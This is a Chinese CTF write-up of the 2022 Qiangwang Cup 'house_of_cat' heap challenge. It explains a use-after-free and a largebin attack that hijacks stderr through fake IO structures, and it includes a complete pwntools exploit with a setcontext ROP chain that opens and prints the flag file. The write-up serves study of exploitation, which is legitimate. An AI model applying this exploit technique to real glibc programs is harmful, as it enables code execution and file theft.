[2022 强网杯] house_of_cat 战战兢兢的复现

比赛结束后搜到WP,一点点复现一点点理解。

程序前边有个头,先要登录要配置一个串,然后每执行命令的时候都要输入一个串验证,好在每次都不变。所以手工配置出一个串来。这种串可能有好多配置方法,只要符合规则就行。

b'LOGIN | r00t QWBQWXF admin\x00'
b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00'

然后就是菜单题了,建块的时候要求在418到46f之间,都不会进tcache

ssize_t m1_add()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h]
  size_t size; // [rsp+8h] [rbp-8h]

  writen("plz input your cat idx:\n");
  v1 = (unsigned int)readn();
  if ( v1 > 0xF || *((_QWORD *)&unk_4060 + v1) )
    return writen("invalid!\n");
  writen("plz input your cat size:\n");
  size = (unsigned int)readn();
  if ( size <= 0x417 || size > 0x46F )
    return writen("invalid size!\n");
  *((_QWORD *)&unk_4060 + v1) = calloc(1uLL, size);
  if ( !*((_QWORD *)&unk_4060 + v1) )
    return writen("error!\n");
  qword_40E0[v1] = size;
  writen("plz input your content:\n");
  return read(0, *((void **)&unk_4060 + v1), qword_40E0[v1]);
}

删块的时候没有清理指针,这里有UAF漏洞

void m2_free()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  writen("plz input your cat idx:\n");
  v0 = (unsigned int)readn();
  if ( v0 <= 0xF && *((_QWORD *)&unk_4060 + v0) )
    free(*((void **)&unk_4060 + v0));
  else
    writen("invalid!\n");
}

然后就是一个largebinAttack但比赛的时候一直没调成,看别人的WP再调

基本思路就是将stderr指向fake虚表,通过虚表来执行ROP

  1. 建0,1,2然后释放0再建大块3这里0将从unsort放入largebin,由于有UAF可以泄漏这里的指针得到libc和堆地址
  2. 在0块写入fake_io1伪虚表,在这里写两个gadget来执行rop(这块也不明白,但如果是同样的题应该可以复制),并指向块7位置的fake_io2。
  3. 建8,7,6再释放6,7,8,9 。这里在两次largebinAttack后会将top_chunk挤到6可控的范围,然后通过6改小top_chunk让他执行stderr
  4. 6,7,8释放后会与top_chunk合并,9进入unsort。
  5. 建一个大块10让9(原来0块位置)进入largebin,然后释放2在largebin和unsort都准备好后可以开始修改largebin的指针来进行攻击,将这个指针改为stderr
  6. 这时候建一个大块写入fake_io2。这里还是个虚表,他会把执行位置指到2真的rop处(2现在还没写内容)。2位置的unsort会进入largebin并且会把2块的堆地址写入到stderr(并不是需要的,只是中间过程)
  7. 使用2块,因为2块到1块有largebin链,这里会将stderr的内容改为0块地址也就是fake_io1处。在2处写ROP(先关闭文件指针0,再从open(flag)文件到0然后读和输出)
from pwn import *

#patchelf --set-interpreter /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 pwn
#patchelf --add-needed /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6  pwn


#LOGIN | r00t QWBQWXF admin
#CAT | r00t QWBQWXF $

elf = ELF('./pwn')
libc_elf = ELF('/home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6')
context(arch='amd64', log_level='debug')

p = process('./pwn')


p.sendafter(b'~~~~\n', b'LOGIN | r00t QWBQWXF admin\x00')
menu = b"plz input your cat choice:\n"
def add(idx, size, msg, last=False):
    p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    p.sendlineafter(b"plz input your cat size:\n", str(size).encode())
    if not last:
        p.sendafter(b"plz input your content:\n", msg)

def free(idx):   
    p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())

def show(idx): 
    p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())

def edit(idx, msg):
    p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    p.sendafter(b"plz input your content:\n", msg)

add(0, 0x428, b'AAAA')
add(1, 0x418, b'AAAA')
add(2, 0x418, b'AAAA')
free(0)
add(3, 0x438, b'AAAA')  #unsort 0 ,当建立的新块大小大于当前unsort块时unsort进入largebin,通过泄漏largebin的指针得到libc和堆地址
show(0)

'''
gef➤  x/20gx 0x290+0x0000557bcf5d6000
0x557bcf5d6290:	0x0000000000000000	0x0000000000000431
0x557bcf5d62a0:	0x00007f355fa690d0	0x00007f355fa690d0    <--- libc_base +0x21a0d0
0x557bcf5d62b0:	0x0000557bcf5d6290	0x0000557bcf5d6290    <--- heap_base +0x290
'''
p.recvuntil(b"Context:\n")
libc_base = u64(p.recv(8)) - 0x21a0d0
libc_elf.address = libc_base
print('libc:', hex(libc_base))

p.recv(8)
heap_base = u64(p.recv(8)) - 0x290
print('heap:', hex(heap_base))

#0x000000000007498c : mov rdx, r13 ; mov rsi, r12 ; mov rdi, r14 ; call qword ptr [rbx + 0x38]
#0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
rop_addr=heap_base+0x1790  # #2--5  ->fake_io2  这里指向下一个vtable:fake_io2
fake_io1=p64(0)*5
fake_io1+=p64(libc_elf.sym['setcontext']+61)
fake_io1+=p64(0)*5
fake_io1+=p64(rop_addr)
fake_io1+=p64(2) + p64(0xffffffffffffffff)
fake_io1+=p64(0) + p64(libc_elf.address+0x21ba60)
fake_io1+=p64(0xffffffffffffffff) + p64(0)
fake_io1+=p64(heap_base+0x340)+p64(libc_elf.address+0x00000000001675b0) #mov_call_2
fake_io1+=p64(0)*2
fake_io1+=p64(1)
fake_io1+=p64(0)*2
fake_io1+=p64(libc_elf.sym['_IO_wfile_jumps']-0xc0-0x20) #io_wfile_jumps vtable
fake_io1+=p64(0)
fake_io1+=p64(libc_elf.sym['setcontext']+61)
fake_io1+=p64(0)*0x5
fake_io1+=p64(libc_elf.address+0x000000000007498c) #mov_call_1
fake_io1+=p64(0)*0xe
fake_io1+=p64(heap_base+0x340)
add(9, 0x428, fake_io1)  # #9==#0  使用largebin 无攻击, 写入fake vtable 

add(8, 0x428, b'A')
add(7, 0x438, b'A')
add(6, 0x418, b'A') #chunk6+8 = top_chunk_head  
free(6)
free(7)
free(8)  #6,7,8释放后会进入top_chunk 6的位置将来新建的块比7+8多10,使6可以修改到top_chunk_head
free(9)  #9=0释放到unsort
add(10, 0x438, b'A') # #8=#10, #0->largebin 再建比0大的块,0块进入largetbin
free(2)  #第2个块进入unsort
#LargebinAttack stderr->fake_io1
edit(0, flat(libc_base+0x21a0d0, libc_base+0x21a0d0, heap_base+0x290, libc_elf.sym['stderr']-0x20)) #修改largebin的指针指向stderr(指针有0x20的偏移)

pop_rdi = next(libc_elf.search(asm("pop rdi;ret")))
pop_rsi = next(libc_elf.search(asm("pop rsi;ret")))
pop_rdx_r12 = next(libc_elf.search(asm("pop rdx;pop r12;ret")))
pop_rax = next(libc_elf.search(asm("pop rax;ret")))
syscall = next(libc_elf.search(asm("syscall;ret")))

fake_io2=p64(0)+p64(rop_addr)
fake_io2+=p64(1)+p64(0)
fake_io2+=p64(libc_elf.sym['setcontext']+61)
fake_io2+=p64(0)*13
fake_io2+=p64(heap_base+0xae0)  # #2
fake_io2=fake_io2.ljust(0xa0, b'\x00')
fake_io2+=p64(heap_base+0xb00)+p64(pop_rdi+1) #ret

#0x7f5733e40860 <stderr>:	0x00007f5733e406a0
add(4,0x438,fake_io2)  #write fake_io2 , stderr->fake_io1   建大块时第1块的指针位置(stderr)写入0块的堆地址,同时2块进入largebin(指针处为0块的指针:stderr) 
#0x7f5733e40860 <stderr>:	0x000055c601ed2ae0
#gef➤  x/8gx 0x0000557c30983000+0xae0
#0x557c30983ae0:	0x0000000000000000	0x0000000000000421
#0x557c30983af0:	0x00007f742eff30d0	0x0000557c30983290
#0x557c30983b00:	0x0000557c30983290	0x00007f742eff3840

rop =b'./flag\x00\x00'+p64(0)
rop+=flat(pop_rdi,0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,3, syscall)   #close(0)
rop+=flat(pop_rdi,heap_base+0xaf0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,2, syscall)  #open(*flag,0)
rop+=flat(pop_rdi,0, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,0, syscall)  #read(0,buf,0x30)
rop+=flat(pop_rdi,1, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,1, syscall) #write(1, buf, 0x30)
add(5, 0x418, rop)    #使用当前largebin时指针处写入上前块的堆地址,实现 stderr->fake_io1
#0x7f5733e40860 <stderr>:	0x000055c601ed2290   stderr->fake_io1
#stderr->vtable:fake_io1指靠mov_call1,2 ->fake_io2 -> rop_chain
edit(6, p64(0)+p64(0x101)) #top_chunk_head = 0x101

add(0xf, 0x430, b'A', last=True) #440>100 no space -> stderr
print(p.recv())
p.interactive()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值